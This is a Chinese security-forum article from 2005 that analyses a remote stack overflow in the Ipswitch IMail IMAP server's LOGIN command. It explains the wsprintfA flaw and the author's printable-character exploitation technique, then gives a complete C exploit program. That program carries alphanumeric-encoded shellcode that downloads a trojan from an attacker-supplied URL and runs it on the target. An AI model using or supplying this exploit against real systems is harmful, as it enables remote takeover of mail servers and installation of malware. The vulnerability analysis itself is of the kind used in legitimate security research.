信息来源:安全焦点技术论坛
文章作者:ppwd(
ppwd25@163.com)
----------------
Ipswitch IMAP Server "LOGIN"命令远程栈溢出分析
ppwd
ppwd25@163.com
2005-11-19
1 漏洞描述
2 漏洞简要分析
3 漏洞利用方法
4 测试程序
1 漏洞描述
前几天一个朋友问我imail服务器有没有什么好用的漏洞?我到google上搜索了以下,发现6月份iDEFENSE公布了几个有关imail的DoS漏洞,其中有个比较严重的漏洞,就是IMAP服务程序在处理“LOGIN”命令时存在栈溢出漏洞。如果给服务器提供超长的用户名时,将导致服务程序出现异常。
例如,用telnet连接上服务器的143端口之后,给它发送如下字符串,
A001 LOGIN user@aaaaaa................aaaaaaaaaaaaaaaaa nolimits
将导致IMAP服务程序终止执行。
nolimit and BuzzDee已经给出了PoC程序,具体可以查看
http://www.securiteam.com/exploits/5WP0B0KG1K.html。
但这篇文章上说在WinXP SP2和Win2003下无法正常溢出,其主要原因有:
(1) 溢出字符串必须是可见字符,意味着跳转地址也必须是可见字符,这种地址只可能在系统DLL中出现。
(2) PoC程序是采用覆盖SEH结构来加以利用的,但是WinXP SP2和Win2003对异常处理函数做了限制,如果该函数地址在某个系统DLL中出现,则必须是该DLL中注册过的异常处理函数。
我看看了,如果采用覆盖SEH处理结构的方法话,确实没有什么其它好用的方法,但是有没有其它的方法可以利用?这个漏洞不是栈溢出吗?那可不可以采用覆盖函数返回地址的方法呢?为了弄清楚这个问题,就需要分析漏洞的产生原因了。
2 漏洞简要分析
该漏洞主要是由于IMailsec.dll中的GetIMailUserEntry函数对用户名处理不当所造成的。当我们提供如下用户名时
user@aaaaaa
函数GetIMailUserEntry会取出用户名中的域名,并调用函数wsprintfA对其进行格式化,
wsprintfA(buff,“SOFTWARE\\Ipswitch\\IMail\\Domains\\%s\\User”,“aaaaaa”)
其中buff是栈中分配的一块缓冲区。由于在格式化之前没有检测域名的长度,如果我们提供过长的域名,将导致缓冲区溢出,从而覆盖函数的返回地址,甚至SEH处理结构。该调用过程对应的汇编代码如下:
.text:1000E18B mov ecx, [ebp+var_414]
.text:1000E191 push ecx
.text:1000E192 mov edx, off_1003546C
.text:1000E198 push edx ; LPCSTR
.text:1000E199 lea eax, [ebp+SubKey]
.text:1000E19F push eax ; LPSTR
.text:1000E1A0 call ds:wsprintfA
以上就是该漏洞产生的原因。
3 漏洞利用方法
现在知道了该漏洞是一个典型的栈溢出漏洞,但是如何来利用呢?栈溢出一般有两种方法,一种是覆盖SEH处理结构,BuzzDee采用的就是这种方法。我当时在想,为什么不采用覆盖函数返回地址的方法呢?后来调试时发现,虽然可以覆盖函数的返回地址,但是在函数返回之前会出现异常,所以没法返回到我们指定的地址去执行。那是什么原因导致的异常呢?
在调用wsprintfA会调用函数GetIMailHostEntry,异常就发生在该函数内。
.text:1000E1A9 mov ecx, [ebp+var_414]
.text:1000E1AF push ecx
.text:1000E1B0 mov edx, [ebp+lpString]
.text:1000E1B3 push edx
.text:1000E1B4 call GetIMailHostEntry
该函数的第一个参数是一个指针,指向一块大小为0x640的缓冲区。下面两条汇编语句将第一个参数入栈,
.text:1000E1B0 mov edx, [ebp+lpString]
.text:1000E1B3 push edx
其中lpString是函数GetIMailUserEntry的第二个参数,而我们刚才溢出的的时候会覆盖该参数,如果该参数指向一个不存在的地址,将出现异常。这也就是异常出现的原因。后来发现,只要给该参数提供一个不小于0x640字节的可写地址,GetIMailHostEntry将不会出现异常。
因此如果要采用覆盖函数返回地址的方法,就必须做到以下两点:
(1)找一个类似于“jmp esp”的跳转地址,并且该地址中的每个字节都必须是可见字符。
(2)找一个不小于0x640字节的可写地址,同样要求该地址中的每个字节都是可见字符。
为了使得这两个地址都是可见字符,只能在系统DLL中找,这就给通用性带来了很大的问题。后来专门写了个工具,用来在系统DLL中查找这样的地址。在Win2000 SP4简体中文版下,跳转地址为0x777d7477,可写地址为0x717e6641,在Win2003 SP0简体中文下,跳转地址为0x777d7477,可写地址为0x717e6641。
开始以为找到这两个地址之后,就可以万事大吉了,后来发现,离成功利用还有很长的一段距离,那就是shellcode的问题。因为shellcode必须全是可见字符,所以编写起来比较困难。后来采用的是phrack杂志上提供的编写字符型shellcode的方法。采用这种方法又带来了另外一个问题。由于采用该方法编码时,将一个字节拆分成两个字节,再加上一个解码头部,使得shellcode的字节数比较多。而该漏洞对shellcode的字节数有限制。
思路1:
刚开始时,缓冲区的构造方法如下:
| nop指令 | 返回地址 | 参数1 | 参数2 | shellcode代码 |
但是由于缓冲区的地址快接近栈的末尾,所以采用这种方法时会导致异常,后来就采用如下的方法。
思路2:
| shellcode 0x1EC字节 | 返回地址 | 参数1 | 参数2 | 跳转代码 |
其中参数2为一个可写地址,跳转代码用来跳转到前面安排的shellcode去执行。但是这样又带来了一个新的问题,shellcode的长度最多为0x1EC(492)字节,而我们平时写的那些shellcode经过字符编码之后,都超过了该长度。没办法,只好该shellcode了。经过不懈的努力,最后终于将shellcode改小到211字节,但是功能比较简单,用来下载木马并执行。
思路3:
后来想写个绑定端口的shellcode,但是怎么减也减不下来,于是考虑采用另外一种思路,采用如下的方法来构造缓冲区:
| shellcode1 | 返回地址 | 参数1 | 参数2 | 跳转代码 | shellcode2 |
在shellcode经过字符编码之后,将其分成两部分:shellcode1和shellcode2,shellcode1的大小固定,为0x1EC字节,剩下的字节放到shellcode2中。
跳转代码用来完成以下功能:
(1) 自身解码
(2) 将解码后的代码拷贝到shellcode2之后执行
(3) 将shellcode2拷贝到shellcode1后,将shellcode1和shellcode2合并成拆分前的内容
(4) 对shellcode进行解码
(5) 跳转到shellcode执行
后来发现,采用这种方法确实可行,可以完成绑定端口的功能。但是由于要实现上述跳转代码的功能要求的代码数量比较多,所以剩下的用来存放shellcode2的空间就不是很多了。
好了,就写到这里了。写的比较简单,主要是为了记录下调试过程中遇到的一些问题,以及一些解决方法,免得以后忘记。在调试得过程中有个深切的体会:思路是简单的,道路是曲折的。。。。。。
4 测试程序
以下是漏洞利用测试程序,针对Imail8.05有效,在Win2003 SP0简体中文版下调试通过。
复制内容到剪贴板
代码:
// ImaiExploit.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <stdio.h>
#include <string.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32")
#define esp_mixedcase_ascii_decoder "AATYQZjAXP0AAAkARQ2AS2BS0BSABXP8ASuJI"
char *alphaEncodeShellcode(char *shellcode, int size);
long gimmeip(char *hostname);
char downexec[] =
"\xe9\xb1\x00\x00\x00\x5b\x33\xc9\xb1\x30\x64\x8b\x01\x8b\x40\x0c"
"\x8b\x70\x1c\xad\x8b\x40\x08\x89\x03\x8d\x7b\x04\xb1\x04\xe8\x47"
"\x00\x00\x00\x83\xc7\x04\xe2\xf6\x8d\x43\x18\x50\xff\x53\x04\x89"
"\x03\x8d\x7b\x14\xe8\x31\x00\x00\x00\x83\xec\x70\x8b\xfc\x6a\x70"
"\x57\xff\x53\x08\xc7\x04\x38\x5c\x61\x2e\x65\xc7\x44\x38\x04\x78"
"\x65\x00\x00\x33\xed\x55\x55\x57\x8d\x73\x1f\x56\x55\xff\x53\x14"
"\x55\x57\xff\x53\x0c\x4d\x55\xff\x53\x10\x60\x8b\x2b\x03\x6d\x3c"
"\x8b\x6d\x78\x03\x2b\x8b\x55\x20\x03\x13\x33\xc0\x33\xc9\x8b\x32"
"\x03\x33\xac\x38\xe0\x74\x07\xc1\xc9\x0d\x03\xc8\xeb\xf4\x3b\x0f"
"\x74\x05\x83\xc2\x04\xeb\xe5\x2b\x55\x20\x2b\x13\xd1\xea\x03\x55"
"\x24\x03\x13\x0f\xb7\x02\xc1\xe0\x02\x03\x45\x1c\x03\x03\x8b\x00"
"\x03\x03\x89\x07\x61\xc3\xe8\x4a\xff\xff\xff\x00\x00\x00\x00\x8e"
"\x4e\x0e\xec\xc1\x79\xe5\xb8\x98\xfe\x8a\x0e\xb0\x49\x2d\xdb\x36"
"\x1a\x2f\x70";
char Decode[] =
"\x81\xec\xec\x01\x00\x00\x8b\xcc\x8b\xd1\x6b\x01\x10\x41\x32\x01"
"\x88\x02\x41\x42\x8a\x01\x3c\x41\x75\xf0\x41\x41\x33\xc0\x8a\x01"
"\x88\x02\x3c\x41\x75\x02\x88\x22\x41\x42\x66\x8b\x19\x66\x81\xfb"
"\x41\x41\x75\xea\x88\x22\x8b\xcc\x83\xec\x70\x51\xc3";
//DWORD dwJmpAddr = 0x777d7477; // for win2000 sp4 cn
//DWORD dwWriteAddr = 0x717e6641;
//DWORD dwJmpAddr = 0x7741246b; // for win2003 en in shell32.dll .text
//DWORD dwWriteAddr = 0x77574460; // for win2003 en in shell32.dll .data
DWORD dwJmpAddr = 0x775f2150; // for win2003 cn in shell32.dll .text
DWORD dwWriteAddr = 0x77564460; // for win2003 cn in shell32.dll .data
int main(int argc,char *argv[])
{
WSADATA wsaData;
struct sockaddr_in targetTCP;
int sockTCP;
unsigned short port = 143;
long ip;
int paddingSize;
if(argc != 3)
{
printf("IpSwitch IMAP server Remote Stack Overflow.\n"
"Usage: \n"
"\t%s [address] [URL] \n"
" eg: %s 10.0.0.198 [url]http://10.0.0.192/joke.exe[/url] \n"
,argv[0], argv[0]);
return -1;
}
char shellcode[0x1000];
char *pszEncode, *pszDecode;
WSAStartup(0x0202, &wsaData);
printf("[*] Target:\t%s \tPort: %d\n\n",argv[2],port);/**/
//form buffer here.
char *temp;
char buffer[3000];
printf("[*] Prepare shellcode ... \n");
memset(shellcode, 0, sizeof(shellcode));
//done formatting, now lets encode it.
pszEncode = alphaEncodeShellcode(downexec, sizeof(downexec) - 1);
strcpy(shellcode, pszEncode);
strcat(shellcode, "AA"); //解码标记
strcat(shellcode, "urlmon.dllA");
strcat(shellcode, argv[2]);
strcat(shellcode, "AA"); //shellcode结束标记
printf("Shellcode length is : %d \n", strlen(shellcode));
printf("Shellcode is : \n%s\n\n", shellcode);
if(strlen(shellcode) > 0x1ec)
{
printf("Shellcode is too long !\n");
printf("%s\n", shellcode);
return -1;
}
pszDecode = alphaEncodeShellcode(Decode, sizeof(Decode));
memset(buffer, 0x41, sizeof(buffer));
strcpy(buffer,"A001 LOGIN user@");
temp = buffer + strlen(buffer);
memcpy(temp, shellcode, strlen(shellcode));
temp += 0x1ec;
*(DWORD *)(temp) = dwJmpAddr; // eip
*(DWORD *)(temp + 4) = 0x21732172; // argv1
*(DWORD *)(temp + 8) = dwWriteAddr; // argv2
temp += 12;
memset(temp, 0x41, 0x28);
temp += 0x28;
*temp = 0;
strcat(temp, esp_mixedcase_ascii_decoder);
strcat(temp, pszDecode);
strcat(temp, "AAAA");
strcat(buffer, " nolimits\r\n");
printf("Buffer length is : %d \n", strlen(buffer));
// connect romote host and send formated buffer
ip=gimmeip(argv[1]);
targetTCP.sin_family = AF_INET;
targetTCP.sin_addr.s_addr = ip;
targetTCP.sin_port = htons(port);
//buffer formed
if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf("[x] Socket not initialized! Exiting...\n");
WSACleanup();
return 1;
}
printf("[*] Socket initialized...\n");
if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
{
printf("[x] Connection to host failed! Exiting...\n");
WSACleanup();
exit(1);
}
printf("[*] Sending buffer...\n");
Sleep(1000);
if (send(sockTCP, buffer, strlen(buffer),0) == -1)
{
printf("[x] Failed to inject packet! Exiting...\n");
WSACleanup();
return 1;
}
Sleep(1000);
closesocket(sockTCP);
WSACleanup();
printf("Exploit sent ok ! If you are luck, trojan has been downloaded and executed !\n");
return 0;
}
/*******************************************************************/
long gimmeip(char *hostname)
{
struct hostent *he;
long ipaddr;
if ((ipaddr = inet_addr(hostname)) < 0)
{
if ((he = gethostbyname(hostname)) == NULL)
{
printf("[x] Failed to resolve host: %s! Exiting...\n\n",hostname);
WSACleanup();
exit(1);
}
memcpy(&ipaddr, he->h_addr, he->h_length);
}
ipaddr = inet_addr(hostname);
return ipaddr;
}
/********************************************************************/
//Below here, all code is modified code from ALPHA 2: Zero-tolerance by
// Berend-Jan Wever aka Skylined <[email]skylined@edup.tudelft.nl[/email]>. Hats off to him.
// shellcode ptr & size
char* alphaEncodeShellcode(char *shellcode, int size)
{
int i, A, B, C, D, E, F;
char* valid_chars="0123456789BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
//first, create a big enough shellcode memory section
char *encShellcode = (char *) malloc(size * 2);
memset(encShellcode, 0, size * 2);
char buff[4];
int z=0;
for(;z < size;z++)
{
// encoding AB -> CD 00 EF 00
A = (shellcode[z] & 0xf0) >> 4;
B = (shellcode[z] & 0x0f);
F = B;
// E is arbitrary as long as EF is a valid character
i = rand() % strlen(valid_chars);
while ((valid_chars[i] & 0x0f) != F) { i = ++i % strlen(valid_chars); }
E = valid_chars[i] >> 4;
// normal code uses xor, unicode-proof uses ADD.
// AB ->
D = 0 ? (A-E) & 0x0f : (A^E);
// C is arbitrary as long as CD is a valid character
i = rand() % strlen(valid_chars);
while ((valid_chars[i] & 0x0f) != D) { i = ++i % strlen(valid_chars); }
C = valid_chars[i] >> 4;
//edit, use curChar ptr to strncpy it.
//printf("%c%c", (C<<4)+D, (E<<4)+F);
sprintf(buff,"%c%c",(C<<4)+D, (E<<4)+F);
strcat(encShellcode,buff);
}
return encShellcode;
}